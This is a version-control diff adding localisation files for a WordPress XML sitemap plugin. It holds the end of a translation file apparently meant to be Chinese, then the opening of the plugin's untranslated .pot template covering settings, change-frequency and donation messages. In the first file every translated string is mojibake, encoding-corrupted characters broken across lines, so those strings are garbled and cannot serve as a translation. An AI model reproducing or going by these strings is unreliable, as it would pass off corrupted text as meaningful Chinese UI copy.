+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:818
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1011
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1020
+msgid "Note"
+msgstr "æ³šæ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:819
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "è¥æ¯æšçéšèœæ Œæ¯åšå­ç®éäžèæšæ³èŠå¢å çé é¢äžŠ<strong>äžåš</strong>éšèœæ Œçç®éäžé¢ïŒæš<strong>å¿
+é </strong>å°æšçç¶²ç«å°åçœ®æŒç¶²ç«çæ ¹ç®éäžã(è«èŠæ¬é ãç¶²ç«å°åçäœçœ®ãå°ç¯)ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3300
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:821
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:860
+msgid "URL to the page"
+msgstr "é é¢ç¶²å"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:822
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "èŒžå
+¥é é¢çç¶²åãäŸåŠïŒhttp://www.foo.com/index.html æè
+ www.foo.com/home "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3157
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3301
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:824
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:861
+msgid "Priority"
+msgstr "åªå
+æ¬ "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3158
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:825
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "éžæè©²é é¢çåªå
+æ¬ïŒçžèŒæŒå
+¶ä»é é¢èèšïŒãäŸåŠïŒæšçéŠé æèš±ææ¯çæ¬èªªæé çåªå
+æ¬äŸåŸé«ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3160
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3303
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:827
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:863
+msgid "Last Changed"
+msgstr "æè¿æŽå"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3161
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:828
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "èŒžå
+¥æè¿æŽåçæ¥æïŒæ ŒåŒçº YYYY-MM-DDïŒäŸåŠïŒ2005-12-31ïŒïŒéå¿
+èŠïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3302
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:862
+msgid "Change Frequency"
+msgstr "èš­å®æŽæ°é »ç"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3304
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:864
+msgid "#"
+msgstr "#"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3309
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:869
+msgid "No pages defined."
+msgstr "éæ²æé é¢å·²è¢«èš­å®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3314
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:874
+msgid "Add new page"
+msgstr "æ°å¢é é¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3325
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:879
+msgid "Post Priority"
+msgstr "æç« åªå
+æ¬ "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3329
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:881
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "è«éžææ¯ç¯æç« æè©²çšå€å°åªå
+æ¬äŸèšç®:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:883
+msgid "Do not use automatic priority calculation"
+msgstr "äžäœ¿çšèªååªå
+æ¬èšç®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3331
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:883
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "ææçæç« äœ¿çšçžåå®çŸ©åš&quot;åªå
+æ¬&quot;å
+§çåªå
+æ¬ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3348
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:894
+msgid "Location of your sitemap file"
+msgstr "ç¶²ç«å°åçäœçœ®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3353
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:897
+msgid "Automatic detection"
+msgstr "èªåäœçœ®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3357
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:901
+msgid "Filename of the sitemap file"
+msgstr "ç¶²ç«å°åçæªå"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Detected Path"
+msgstr "åµæž¬å°çè·¯åŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3360
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Detected URL"
+msgstr "åµæž¬å°çç¶²å"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3365
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:909
+msgid "Custom location"
+msgstr "èªå®äœçœ®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3369
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:913
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "ç¶²ç«å°åççµå°æçžå°è·¯åŸïŒå
+æ¬æªåã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3371
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3380
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:915
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:924
+msgid "Example"
+msgstr "ç¯äŸ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:922
+msgid "Complete URL to the sitemap file, including name."
+msgstr "ç¶²ç«å°åçå®æŽç¶²åïŒå
+æ¬æªåã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3397
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:935
+msgid "Sitemap Content"
+msgstr "ç¶²ç«å°åå
+§å®¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3405
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:941
+msgid "Include homepage"
+msgstr "å
+å«éŠé "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3411
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:947
+msgid "Include posts"
+msgstr "å
+å«æç« "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:953
+msgid "Include following pages of multi-page posts (Increases build time and memory usage!)"
+msgstr "å
+å«äžåé é¢çåé æç«  (æå¢å å»ºç«æéåèšæ¶é«äœ¿çšéïŒ)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3417
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:959
+msgid "Include static pages"
+msgstr "å
+å«ç¶²èªåé "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3423
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:965
+msgid "Include categories"
+msgstr "å
+å«åé¡"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3429
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:971
+msgid "Include archives"
+msgstr "å
+å«å¯æŽ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3436
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:978
+msgid "Include tag pages"
+msgstr "å
+å«æšç±€é é¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3443
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:985
+msgid "Include author pages"
+msgstr "å
+å«äœè
+é é¢"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:993
+msgid "Excluded items"
+msgstr "æé€çé 
+ç®"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:995
+msgid "Excluded categories"
+msgstr "æé€çé¡å"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "äœ¿çšæ­€åèœå°æå¢å å»ºç«çæéåèšæ¶é«äœ¿çšé!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1004
+#, php-format
+msgid "This feature requires at least WordPress 2.5.1, you are using %s"
+msgstr "æ­€åèœè³å°éèŠ WordPress 2.5.1 çæ¬ïŒæšç®åäœ¿çšççæ¬æ¯ %s"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1007
+msgid "Exclude posts"
+msgstr "å
+å«æç« "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1009
+msgid "Exclude the following posts or pages:"
+msgstr "å
+å«äžåçæç« æé é¢:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1009
+msgid "List of IDs, separated by comma"
+msgstr "ååº IDsïŒä»¥éèåéã"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1011
+msgid "Child posts won't be excluded automatically!"
+msgstr "å­æç« äžæèªåå
+å«ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3457
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1017
+msgid "Change frequencies"
+msgstr "æŽæ°é »çèš­å®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3463
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1021
+msgid "Please note that the value of this tag is considered a hint and not a command. Even though search engine crawlers consider this information when making decisions, they may crawl pages marked \"hourly\" less frequently than that, and they may crawl pages marked \"yearly\" more frequently than that. It is also likely that crawlers will periodically crawl pages marked \"never\" so that they can handle unexpected changes to those pages."
+msgstr "è«æ³šæäžååèš­å®åŒå
+è¢«èŠçºæç€ºèéåœä»€ãéç¶æå°åŒææŒ«éåšæèæ
+®éè³èšååºæ±ºå®ïŒä»åä¹èš±æèŒå°æŒ«éè¢«æšèšçºãHourlyãçé é¢ïŒæè
+æŽå é »ç¹å°æŒ«éè¢«æšèšçºãYearlyãçé é¢ãæå°åŒææŒ«éæ©å¶æé±ææ§å°æŒ«éè¢«æšèšçºãNeverãçé é¢ïŒä»¥äŸ¿ä»åèœèçå°é£äºé é¢çè®åã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3469
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3535
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1027
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1084
+msgid "Homepage"
+msgstr "éŠé "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3475
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1033
+msgid "Posts"
+msgstr "æç« "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3481
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3553
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1039
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1102
+msgid "Static pages"
+msgstr "ç¶²èªåé "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3487
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3559
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1045
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1108
+msgid "Categories"
+msgstr "åé¡"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3493
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1051
+msgid "The current archive of this month (Should be the same like your homepage)"
+msgstr "çŸæçæ¯æåœæŽïŒæè©²èæšçéŠé çžåïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3499
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1057
+msgid "Older archives (Changes only if you edit an old post)"
+msgstr "èŒèçåœæŽïŒåªæåšæšä¿®æ¹èæç« çæåæææ¹è®ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3506
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3572
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1064
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1121
+msgid "Tag pages"
+msgstr "æšç±€é é¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3513
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3579
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1071
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1128
+msgid "Author pages"
+msgstr "äœè
+é é¢"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3527
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1079
+msgid "Priorities"
+msgstr "åªå
+æ¬"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3541
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1090
+msgid "Posts (If auto calculation is disabled)"
+msgstr "æç« ïŒåŠæèªåèšç®æ²ææéïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3547
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1096
+msgid "Minimum post priority (Even if auto calculation is enabled)"
+msgstr "åªå
+æ¬æå°åŒïŒå³äœ¿èªåèšç®ææéïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3565
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1114
+msgid "Archives"
+msgstr "åœæŽ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3590
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1139
+msgid "Update options"
+msgstr "æŽæ°éžé 
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3591
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1140
+msgid "Reset options"
+msgstr "éçœ®éžé 
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:84
+msgid "XML-Sitemap Generator"
+msgstr "XML ç¶²ç«å°åç¢çåš"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2415
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:84
+msgid "XML-Sitemap"
+msgstr "XML ç¶²ç«å°å"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap.php:142
+msgid "Sitemap FAQ"
+msgstr "ç¶²ç«å°åç­å®¢å"
+
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap.pot
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap.pot	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap.pot	(revision 44)
@@ -0,0 +1,1014 @@
+# [Countryname] Language File for sitemap (sitemap-[localname].po)
+# Copyright (C) 2005 [name] : [URL]
+# This file is distributed under the same license as the WordPress package.
+# [name] <[mail-address]>, 2005.
+# $Id: sitemap.pot 148481 2009-08-23 22:25:56Z arnee $
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: sitemap\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-24 00:20+0100\n"
+"PO-Revision-Date: 2009-08-24 00:20+0100\n"
+"Last-Translator: Arne Brachhold\n"
+"Language-Team: \n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-Basepath: .\n"
+"X-Poedit-SearchPath-0: H:\\Webdev\\htdocs\\wp_plugins\\sitemap_beta\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:642
+msgid "Comment Count"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:654
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:714
+msgid "Comment Average"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:726
+msgid "Uses the average comment count to calculate the priority"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:789
+msgid "Popularity Contest"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:801
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1118
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1191
+msgid "Always"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1119
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1192
+msgid "Hourly"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1120
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1193
+msgid "Daily"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1121
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1194
+msgid "Weekly"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1122
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1195
+msgid "Monthly"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1123
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1196
+msgid "Yearly"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-core.php:1124
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-core.php:1197
+msgid "Never"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:97
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:97
+msgid "Hide this notice"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:103
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:103
+msgid "No thanks, please don't bug me anymore!"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:67
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:114
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:69
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:116
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2635
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2835
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:145
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:448
+msgid "XML Sitemap Generator for WordPress"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2740
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:293
+msgid "Configuration updated"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2741
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:294
+msgid "Error while saving options"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2743
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:296
+msgid "Pages saved"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2744
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:297
+msgid "Error while saving pages"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:304
+msgid "The default configuration was restored."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:374
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:461
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:376
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:463
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:378
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:465
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:488
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:505
+msgid "open"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:489
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:506
+msgid "close"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:490
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:507
+msgid "click-down and drag to move this box"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:491
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:508
+msgid "click to %toggle% this box"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:492
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:509
+msgid "use the arrow keys to move this box"
+msgstr ""
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
